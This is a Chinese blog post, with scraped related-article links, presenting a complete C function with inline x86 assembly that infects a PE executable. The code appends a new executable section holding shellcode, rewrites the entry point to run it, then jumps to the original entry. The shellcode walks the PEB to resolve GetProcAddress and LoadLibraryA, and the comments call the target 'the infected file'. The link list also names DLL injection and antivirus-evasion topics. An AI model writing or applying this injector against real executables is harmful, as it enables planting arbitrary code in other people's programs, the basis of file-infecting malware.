修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

BOOL ChangeOEP(CString strFilePath)
{
FILE* rwFile; // 被感染的文件
IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块
IMAGE_NT_HEADERS NThea; //
DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址
int nOldSectionNo;
int OEP; if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回
return FALSE;
} if(!CheckPE(rwFile)){ // 如果不是PE文件则返回
return FALSE;
} fseek(rwFile,0x3c,0);
fread(&pNT,sizeof(DWORD),1,rwFile);
fseek(rwFile,pNT,0);
fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构
nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量
OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP
IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息
int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值
memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息
for(int i=0;i<nOldSectionNo;i++)
fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile); FILE *newfile = fopen(strFilePath,"rb+");
if(newfile==NULL){
return FALSE;
}
fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
goto shellend; __asm
{
shell: PUSHAD
MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB
MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针
MOV EAX,DWORD PTR [EAX+1CH]
;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX]
;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX+08H]
;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中
MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS
MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表
MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目
MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址
ADD EBX,EBP
PUSH WORD PTR 0X00 ;构造GetProcAddress字符串
PUSH DWORD PTR 0X73736572
PUSH DWORD PTR 0X64644163
PUSH DWORD PTR 0X6F725074
PUSH WORD PTR 0X6547
MOV EDX,ESP
PUSH ECX F1:
MOV EDI,EDX
POP ECX
DEC ECX
TEST ECX,ECX
JZ EXIT
MOV ESI,[EBX+ECX*4]
ADD ESI,EBP
PUSH ECX
MOV ECX,15
REPZ CMPSB
TEST ECX,ECX
JNZ F1 POP ECX
MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址
ADD ESI,EBP
MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号
MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址
ADD EDI,EBP
MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址
ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串
PUSH DWORD PTR 0X41797261
PUSH DWORD PTR 0X7262694C
PUSH DWORD PTR 0X64616F4C
PUSH ESP
PUSH EBP
CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址
PUSH WORD PTR 0X00 ;添加参数“test”符串
PUSH DWORD PTR 0X74736574
PUSH ESP
CALL EAX
EXIT: ADD ESP,36 ;平衡堆栈
POPAD
}
shellend:
char* pShell;
int nShellLen;
BYTE jmp = 0xE9;
__asm
{
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
} // 写入SHELLCODE,
for(i=0;i<nShellLen;i++)
fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令
NewSection.VirtualAddress=
SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
fwrite(&jmp, sizeof(jmp), 1, newfile);
fwrite(&OEP, sizeof(OEP), 1, newfile); // 将最后增加的数据用0填充至按文件中对齐的大小
for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
fputc('\0',newfile); // 新区块中的数据
strcpy((char*)NewSection.Name,".NYsky");
NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
NewSection.Misc.VirtualSize=nShellLen;
NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
NewSection.Characteristics=0xE0000020; // 新区块可读可写可执行、写入新的块表
fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
fseek(newfile,pNT,0);
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
NThea.OptionalHeader.SizeOfImage=nNewImageSize;
NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 写入更新后的PE头结构
fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
fclose(newfile);
fclose(rwFile);
return TRUE;
}

修改PE文件的入口函数OEP的更多相关文章

  1. 动态修改PE文件图标(使用UpdateResource API函数)

    PE文件的图标存储在资源文件中,而操作资源要用到的API函数就是UpdateResource首先我们需要先了解一下ICO格式,参考资料:http://www.moon-soft.com/program ...

  2. Dll注入:修改PE文件 IAT注入

    PE原理就不阐述了, 这个注入是PE感染的一种,通过添加一个新节注入,会改变PE文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节. 步骤: ...

  3. 利用模块加载回调函数修改PE导入表实现注入

    最近整理PE文件相关代码的时候,想到如果能在PE刚刚读进内存的时候再去修改内存PE镜像,那不是比直接对PE文件进行操作隐秘多了么? PE文件在运行时会根据导入表来进行dll库的"动态链接&q ...

  4. DLL注入之修改PE静态注入

    DLL注入之修改PE静态注入 0x00 前言 我们要注入的的力量功能是下载baidu首页数据.代码如下: #include "stdio.h" #include"stdi ...

  5. 【黑客免杀攻防】读书笔记6 - PE文件知识在免杀中的应用

    0x1 PE文件与免杀思路 基于PE文件结构知识的免杀技术主要用于对抗启发式扫描. 通过修改PE文件中的一些关键点来达到欺骗反病毒软件的目的. 修改区段名 1.1 移动PE文件头位置免杀 工具:PeC ...

  6. 2、jQuery的基本概念-必看-版本-入口函数- jq对象和dom对象区别

    1.4. jQuery的版本 官网下载地址:http://jquery.com/download/ jQuery版本有很多,分为1.x 2.x 3.x 大版本分类: 1.x版本:能够兼容IE678浏览 ...

  7. Python读取PE文件(exe/dll)中的时间戳

    代码原文地址: https://www.snip2code.com/Snippet/144008/Read-the-PE-Timestamp-from-a-Windows-Exe https://gi ...

  8. 2019-11-29-Roslyn-通过-NuGet-库修改应用程序入口函数

    title author date CreateTime categories Roslyn 通过 NuGet 库修改应用程序入口函数 lindexi 2019-11-29 08:37:49 +080 ...

  9. 2019-4-21-Roslyn-通过-NuGet-库修改应用程序入口函数

    title author date CreateTime categories Roslyn 通过 NuGet 库修改应用程序入口函数 lindexi 2019-4-21 17:37:1 +0800 ...

随机推荐

  1. [转载] LinkedIn架构这十年

    原文: http://colobu.com/2015/07/24/brief-history-scaling-linkedin/ 原文: A Brief History of Scaling Link ...

  2. mysql 1030 Got error 28 from storage engine

    mysql 1030 Got error 28 from storage engine 错误原因:磁盘临时空间不够. 解决办法:df -h 查看设备存储的使用情况 du -h --max-depth= ...

  3. (一)stm32之CMSIS标准、库目录、GPIO

    一.CMSIS标准 ST公司的stm32采用的是cortex-m3内核,内核是整个微处理器的CPU.该内核是ARM公司设计的一种处理器体系架构.内核与外设的关系就像PC上的CPU与硬盘.主板.内存等的 ...

  4. iOS开发者帐号流程

    http://ask.dcloud.net.cn/article/152 iOS证书(.p12)和描述文件(.mobileprovision)申请 5+App开发 Apple证书 iOS证书 iOS有 ...

  5. Android事件传递机制(转)

    Android事件构成 在Android中,事件主要包括点按.长按.拖拽.滑动等,点按又包括单击和双击,另外还包括单指操作和多指操作.所有这些都构成了Android中的事件响应.总的来说,所有的事件都 ...

  6. 转!!java中Object转String

    Object转为String的几种形式 在java项目的实际开发和应用中,常常需要用到将对象转为String这一基本功能.本文将对常用的转换方法进行一个总结.常用的方法有Object.toString ...

  7. java main函数

    public static void main(String[] args)[String args[]]也对 1)public :公共的权限最大,在任何情况下都可以访问. 原因:为了保证java虚拟 ...

  8. Linux源码安装mysql步骤

    创建文件夹: mkdir  /usr/local/webserver 安装必要依赖包      yum -y install gcc gcc-c++ make ncurses-devel安装cmake ...

  9. 能源项目xml文件 -- app-datasource.xml

    <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.sp ...

  10. Timer与TimerTask的真正原理&使用介绍

    转载: Timer与TimerTask的真正原理&使用介绍 其实就Timer来讲就是一个调度器,而TimerTask呢只是一个实现了run方法的一个类,而具体的TimerTask需要由你自己来 ...